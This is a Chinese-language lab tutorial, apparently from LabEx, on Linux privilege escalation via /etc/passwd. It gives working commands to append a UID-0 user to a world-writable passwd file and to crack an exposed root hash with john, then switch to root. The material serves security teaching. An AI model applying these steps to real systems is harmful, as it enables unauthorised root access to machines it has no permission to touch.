介绍
/etc/passwd 和 /etc/shadow 文件在 Linux 系统中对用户认证至关重要。如果系统管理员错误配置了这些文件的内容或权限,可能会导致权限提升漏洞。在本实验中,我们将通过利用 /etc/passwd 文件来探索权限提升的方法。
理解 /etc/passwd 文件
在这一步中,我们将探索 /etc/passwd 文件的结构和含义。
在 Linux 系统中,用户密码信息存储在两个文件中:/etc/passwd 和 /etc/shadow。/etc/passwd 文件包含用户信息,每一行代表一个用户账户。每一行由七个以冒号分隔的字段组成:
- 用户名
- 密码(如果设置为
x,则密码存储在/etc/shadow中) - 用户 ID(UID,0 表示 root 用户)
- 组 ID(GID)
- 用户信息(全名、房间号、工作电话、家庭电话等)
- 主目录
- 默认 shell
现在,打开终端并导航到 /home/labex/project 目录以继续下一步。
cd /home/labex/project
从 /etc/passwd 文件中获取 labex 用户的信息,并将其保存到 /home/labex/project 目录下名为 labex_passwd.txt 的文件中。
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
检查 labex_passwd.txt 文件的内容。
cat labex_passwd.txt
预期输出:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
以下是每个字段的含义:
- 用户名:test-user
- 密码:存储在
/etc/shadow中(由x表示) - UID:5000
- GID:5000
- 用户信息:此处为空
- 主目录:
/home/labex - 默认 shell:
/usr/bin/zsh
在 Linux 认证过程中,会发生以下步骤:
- 输入的用户名会与
/etc/passwd文件中每一行的第一个字段进行比对。 - 如果找到匹配项,则比较第二个字段中的密码。
- 认证成功后,用户的权限由 UID(第三个字段)和 GID(第四个字段)决定。
- 重要的是,UID 为
0表示 root 用户,无论用户名是什么,都拥有完全的管理权限。
如你所见,/etc/passwd 文件在 Linux 认证过程中起着关键作用。如果攻击者能够修改此文件,他们可能会获得未经授权的访问并提升其权限。
通过 /etc/passwd 文件进行权限提升(写入权限)
在这一步中,我们将学习如何通过利用对 /etc/passwd 文件的写权限来提升权限。
首先,让我们设置实验环境。打开终端并导航到
/home/labex/project目录:cd /home/labex/project运行以下命令以设置实验环境:
./env_setup1.sh该命令将执行一个脚本来设置实验环境。你应该会看到输出,表明环境已准备就绪。
设置完成后,你将作为
user001用户登录,模拟在渗透测试中获得的初始 shell 访问权限。导航到
user001用户的主目录:cd ~使用
whoami命令验证当前用户:whoami预期输出:
user001使用
id命令查看你的用户和组 ID:id预期输出:
uid=1001(user001) gid=1001(user001) groups=1001(user001)如你所见,你是一个没有任何特殊权限的普通用户。
接下来,检查
/etc/passwd和/etc/shadow文件的权限:ls -l /etc/passwd /etc/shadow预期输出:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd -rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadow注意,
/etc/passwd文件对所有用户具有执行和写权限(--wx--xrwx),这是系统管理员的配置错误。
我们的目标是在 /etc/passwd 文件中创建一个新的用户条目,使用自定义的用户名、密码和 UID 为 0(root)。这将允许我们以 root 用户身份登录。
首先,通过将 root 用户的条目提取到名为
new_user_entry.txt的新文件中,检查/etc/passwd文件中 root 用户的格式:cat /etc/passwd | grep root > new_user_entry.txt使用
cat命令查看new_user_entry.txt文件内容时的预期输出:root:x:0:0:root:/root:/bin/bash为了创建我们自己的条目,将
new_user_entry.txt文件中的用户名从root更改为任何所需的名称,例如new-user:new-user:x:0:0:root:/root:/bin/bash将第二个字段中的
x替换为加密的密码哈希。我们可以使用openssl工具生成密码(例如pass123)的哈希:openssl passwd -1 -salt ignite pass123预期输出:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1将哈希替换到
new_user_entry.txt文件的第二个字段中:new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash现在,将这一行追加到
/etc/passwd文件中:echo "$(cat new_user_entry.txt)" >> /etc/passwd注意:我们可以将新条目追加到
/etc/passwd文件中,因为它对所有用户具有写权限。在现实场景中,此文件不应为普通用户提供写权限。通过在
/etc/passwd文件中搜索new-user来验证新条目:cat /etc/passwd | grep new-user预期输出:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash最后,切换到
new-user用户,密码为pass123:su new-user在提示时输入密码
pass123。你现在应该拥有 root 权限,提示符的变化表明了这一点:user001@660ecfa4d7612c798ef141ab:~$ su new-user Password: root@660ecfa4d7612c798ef141ab:/home/user001#
通过 /etc/passwd 文件进行权限提升(密码哈希)
在这一步中,我们将学习当 root 用户的密码哈希存储在 /etc/passwd 文件而非 /etc/shadow 文件时,如何提升权限。
首先,让我们设置实验环境。打开终端并导航到
/home/labex/project目录:如果你仍然以
new-user身份登录,可以使用exit命令退出当前 shell,直到返回到labexshell,然后导航到/home/labex/project目录:cd /home/labex/project运行以下命令以设置实验环境:
./env_setup2.sh该命令将执行一个脚本来设置实验环境。你应该会看到输出,表明环境已准备就绪。
设置完成后,你将作为
user001用户登录,模拟在渗透测试中获得的初始 shell 访问权限。导航到
user001用户的主目录:cd ~检查
/etc/passwd和/etc/shadow文件的权限:ls -l /etc/passwd /etc/shadow-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd -rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow这一次,文件权限是
正确配置的,你只有对/etc/passwd文件的读取权限。查看
/etc/passwd文件的内容以找到 root 用户的密码哈希:cat /etc/passwd | grep ^root > ~/hash.txt通过运行以下命令检查
hash.txt文件的内容:cat ~/hash.txt预期输出:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash注意,root 用户的密码哈希存储在
/etc/passwd文件的第二个字段中。这通常是之前系统被入侵或系统管理员配置错误的结果。现在,运行
john来破解哈希:john ~/hash.txt > ~/cracked.txtjohn是一个流行的密码破解工具,它使用字典攻击来破解密码哈希。输出将指示密码是否成功破解。Created directory: /home/user001/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completed检查
cracked.txt文件的内容以查看破解的密码:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) hello (root)如你所见,
john成功破解了密码,密码是hello。使用
su命令切换到 root 用户,在提示时输入破解的密码:su root在提示时输入密码
hello。你现在应该拥有 root 权限,命令提示符的变化表明了这一点。user001@660ecfa4d7612c798ef141ab:~$ su root Password: root@660ecfa4d7612c798ef141ab:/home/user001#
总结
在本实验中,我们学习了 Linux 用户认证过程、/etc/passwd 文件的重要性,以及如何利用它进行权限提升。我们涵盖了两个场景:(1) 当 /etc/passwd 文件具有写权限时,允许我们创建一个具有 root 权限的新用户条目;(2) 当 root 用户的密码哈希存储在 /etc/passwd 文件中时,我们可以使用 john 工具破解密码。通过动手实践,我们更深入地理解了如何利用 /etc/passwd 文件中的配置错误来提升 Linux 系统上的权限。